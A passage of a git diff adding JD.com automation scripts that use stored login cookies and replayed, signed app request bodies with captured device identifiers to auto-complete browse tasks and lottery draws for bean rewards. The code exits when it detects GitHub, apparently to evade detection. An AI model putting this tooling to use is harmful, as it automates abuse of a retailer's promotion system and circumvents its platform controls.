`area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239891037%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=37907fdd42eb90cdb38b1534b5f82623&st=1608136057117&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239349437%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=de5492702084ea8d64e77b5a05a26508&st=1608135090210&sv=111&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJbL8Z8Ji5qW2Orjpl0%2BzyRPbn4M%2BsWaSKGP0oBktuYYM5pyBaI0RqkeXBgu6TJZdGHo2xvPne18Dzkk1A7m%2BLqBuD2mrzLZjK%2BrWdDdNBD9pQPajs0rQAp%2Bu4eLnMSDTc7xxKGmxZ6YlvLbYtQu1%2B/z4woT25IKqETrcboP4nZzsjKlRbBnlsrQ%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=unknown`, +] + +function preload(){ + const fs = require('fs'); + let raw = fs.readFileSync('watch.chlsj'); + let s = JSON.parse(raw); + s.map(vo=>{ + let doTask = vo.request.header.headers.filter(vo=>vo['name'] === ":path" && vo['value'].indexOf('discDoTask')>0)[0] + if(doTask){ + doBody.push(vo.request.body.text) + }else{ + acceptBody.push(vo.request.body.text) + } + }) +} +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if ($.isNode()) { + const fs = require('fs'); + try { + if (fs.existsSync('watch.chlsj')) { + preload() + if (doBody.length < 40) { + console.log(`${$.name}Body数小于40,无法完成任务!`) + } + } + if (process.env.WATCH_ACCEPTBODY && process.env.WATCH_DOBODY) { + acceptBody = process.env.WATCH_ACCEPTBODY.split('@'); + doBody = process.env.WATCH_DOBODY.split('@'); + console.log(`\n环境变量提供的acceptBody数量:${acceptBody.length}`) + console.log(`环境变量提供的doBody:数量${doBody.length}\n`) + } + } catch (err) { + console.error(err) + } + console.log(`\nacceptBody数量:${acceptBody.length}`) + console.log(`doBody:数量${doBody.length}\n`) + } + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdHealth() + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdHealth() { + $.bean = 0 + await getTaskList() + if($.task) { + console.log(`${$.name}浏览次数:${$.task.times}/${$.task.maxTimes}`) + let i = 0, j = $.task.times + while(j < $.task.maxTimes) { + if (!acceptBody[i]) break + let res = await acceptTask(acceptBody[i++]) + if (res['success']) { + await $.wait(10000) + await doTask(doBody[i-1]) + j++ + } + await $.wait(500); + } + await getTaskList() + if ($.task.times===$.task.maxTimes) + await reward() + } +} + +function showMsg() { + return new Promise(async resolve => { + // $.msg($.name, '', `京东账号${$.index} ${$.nickName}\n${message}`); + let nowTime = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; + if (nowTime > new Date('2020/12/31 23:59:59+08:00').getTime()) { + $.msg($.name, '活动已结束', `咱江湖再见`); + if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `咱江湖再见`) + } else { + $.msg($.name, '', `京东账号${$.index} ${$.nickName}\n${message}`); + } + resolve() + }) +} +// 任务列表 +function getTaskList() { + let body = "body=%7B%22bizType%22%3A1%2C%22referPageId%22%3A%22discRecommend%22%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone10%2C2&eid=eidIF3CF0112RTIyQTVGQTEtRDVCQy00Qg%3D%3D6HAJa9%2B/4Vedgo62xKQRoAb47%2Bpyu1EQs/6971aUvk0BQAsZLyQAYeid%2BPgbJ9BQoY1RFtkLCLP5OMqU&isBackground=N&joycious=200&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=apple&rfs=0000&scope=01&screen=1242%2A2208&sign=7ac41799deb4b174516255f911adb612&st=1607942822112&sv=100&uts=0f31TVRjBStSN/KN45aFsqdm3cWx37OzS1DDtk92Jjb1GFDLcR3WqIplv0XA1h/hn4ycbABQbxmY2Z6OJ41XlUNqODg0xhlFxdy9vzwBobHzhtVmCcORklu9W1cB6YcW0kYJNzSsy5ypxaQvGUf1oq/yMw/Hbo5lD3f4srHsrWzrsnKQ4K7HYtCFiZ5kn/AC%2B/tEmJRu9yM5j2nCMqdvmg%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D" + return new Promise(resolve => { + $.post(taskPostUrl("discTaskList", body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.busiCode === '0') { + $.task = data['data']['discTasks'][1] + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 开始看 +function acceptTask(body) { + return new Promise(resolve => { + $.post(taskPostUrl("discAcceptTask", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.success){ + // console.log('浏览开始请求成功') + }else{ + // console.log(`${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 完成看 +function doTask(body) { + return new Promise(resolve => { + $.post(taskPostUrl("discDoTask", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.success){ + console.log(`浏览成功,浏览进度:${data.data.alreadyBrowseNum}/${data.data.totalBrowseNum}`) + }else{ + console.log(`${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 完成看 +function reward() { + let body = "area=12_904_908_57903&body=%7B%22taskId%22%3A%223%22%2C%22bizType%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone10%2C2&eid=eidIF3CF0112RTIyQTVGQTEtRDVCQy00Qg%3D%3D6HAJa9%2B/4Vedgo62xKQRoAb47%2Bpyu1EQs/6971aUvk0BQAsZLyQAYeid%2BPgbJ9BQoY1RFtkLCLP5OMqU&isBackground=N&joycious=200&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=apple&rfs=0000&scope=01&screen=1242%2A2208&sign=17715aee2221001db42054582e246b12&st=1608106937687&sv=102&uts=0f31TVRjBSueCA6d1433N/VvOpFVgTQ3ayM3m/f8v%2B5SZcxHDy1W0aeMpwRE60%2B5NCC1QBAEVnTfdyUBY1v5dzjJYNmtBpfPHeEOqjU2lcvvt9i4lMwuL6cFvhiheX1QlG4SCsmZu6Zhj5aCQji0PhIRINWPoPq7tOwraAhYokfkEoI1Vcv3DgT8TKdKMtBfCtTr%2BEIaEPSfItFIJPlqXw%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D" + return new Promise(resolve => { + $.post(taskPostUrl("discReceiveTaskAward", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.success){ + console.log(`领奖成功,${$.task.taskSubTitleExt}`) + message += `京东看一看:${$.task.taskSubTitleExt}`; + await showMsg(); + }else{ + console.log(`领奖失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function taskPostUrl(function_id, body = {}) { + $.log(`${function_id}`) + return { + url: `${JD_API_HOST}?functionId=${function_id}`, + body: body, + headers: { + "Cookie": cookie, + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_xg.js b/activity/jd_xg.js new file mode 100644 index 0000000..1ce21c9 --- /dev/null +++ b/activity/jd_xg.js @@ -0,0 +1,296 @@ +/* +小鸽有礼 +抽奖可获得京豆和快递优惠券 +活动时间:2021年1月15日至2021年2月19日 +更新地址:jd_xg.js +活动入口:https://snsdesign.jd.com/babelDiy/Zeus/4N5phvUAqZsGWBNGVJWmufXoBzpt/index.html?channel=lingsns003&scope=0&sceneid=9001&btnTips=&hideApp=0 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#小鸽有礼 +5 7 * * * jd_xg.js, tag=小鸽有礼, img-url=https://raw.githubusercontent.com/yogayyy/Scripts/master/Icon/shylocks/jd_xg.jpg, enabled=true + +================Loon============== +[Script] +cron "5 7 * * *" script-path=jd_xg.js,tag=小鸽有礼 + +===============Surge================= +小鸽有礼 = type=cron,cronexp="5 7 * * *",wake-system=1,timeout=200,script-path=jd_xg.js + +============小火箭========= +小鸽有礼 = type=cron,script-path=jd_xg.js, cronexpr="5 7 * * *", timeout=200, enable=true + */ +const $ = new Env('小鸽有礼'); +const notify = $.isNode() ? require('../sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; + if(JSON.stringify(process.env).indexOf('GITHUB')>-1) process.exit(0) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0 + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdXg() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdXg() { + await getInfo() + await getUserInfo() + while ($.userInfo.bless >= $.userInfo.cost_bless_one_time) { + await draw() + await getUserInfo() + await $.wait(500) + } + await showMsg(); +} + +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得${$.beans}京豆` + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} + +function getInfo() { + return new Promise(resolve => { + $.get({ + url: 'https://snsdesign.jd.com/babelDiy/Zeus/4N5phvUAqZsGWBNGVJWmufXoBzpt/index.html?channel=lingsns003&scope=0&sceneid=9001&btnTips=&hideApp=0', + headers: { + Cookie: cookie + } + }, (err, resp, data) => { + try { + $.info = JSON.parse(data.match(/var snsConfig = (.*)/)[1]) + $.prize = JSON.parse($.info.prize) + resolve() + } catch (e) { + console.log(e) + } + }) + }) +} + +function getUserInfo() { + return new Promise(resolve => { + $.get(taskUrl('query'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.userInfo = JSON.parse(data.match(/query\((.*)\n/)[1]).data + // console.log(`您的好友助力码为${$.userInfo.shareid}`) + console.log(`当前幸运值:${$.userInfo.bless}`) + for (let task of $.info.config.tasks) { + if (!$.userInfo.complete_task_list.includes(task['_id'])) { + console.log(`去做任务${task['_id']}`) + await doTask(task['_id']) + await $.wait(500) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doTask(taskId) { + let body = `task_bless=10&taskid=${taskId}` + return new Promise(resolve => { + $.get(taskUrl('completeTask', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.data.complete_task_list.includes(taskId)) { + console.log(`任务完成成功,当前幸运值${data.data.curbless}`) + $.userInfo.bless = data.data.curbless + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function draw() { + return new Promise(resolve => { + $.get(taskUrl('draw'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.data.drawflag) { + if ($.prize.filter(vo => vo.prizeLevel === data.data.level).length > 0) { + console.log(`获得${$.prize.filter(vo => vo.prizeLevel === data.data.level)[0].prizename}`) + if($.prize.filter(vo => vo.prizeLevel === data.data.level)[0].beansPerNum) + $.beans += $.prize.filter(vo => vo.prizeLevel === data.data.level)[0].beansPerNum + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(function_id, body = '') { + body = `activeid=${$.info.activeId}&token=${$.info.actToken}&sceneval=2&shareid=&_=${new Date().getTime()}&callback=query&${body}` + return { + url: `https://wq.jd.com/activet2/piggybank/${function_id}?${body}`, + headers: { + 'Host': 'wq.jd.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'wq.jd.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://anmp.jd.com/babelDiy/Zeus/xKACpgVjVJM7zPKbd5AGCij5yV9/index.html?wxAppName=jd`, + 'Cookie': cookie + } + } +} + +function taskPostUrl(function_id, body) { + return { + url: `https://lzdz-isv.isvjcloud.com/${function_id}`, + body: body, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Origin': 'https://lzdz-isv.isvjcloud.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://lzdz-isv.isvjcloud.com/dingzhi/book/develop/activity?activityId=${ACT_ID}`, + 'Cookie': `${cookie} isvToken=${$.isvToken};` + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) 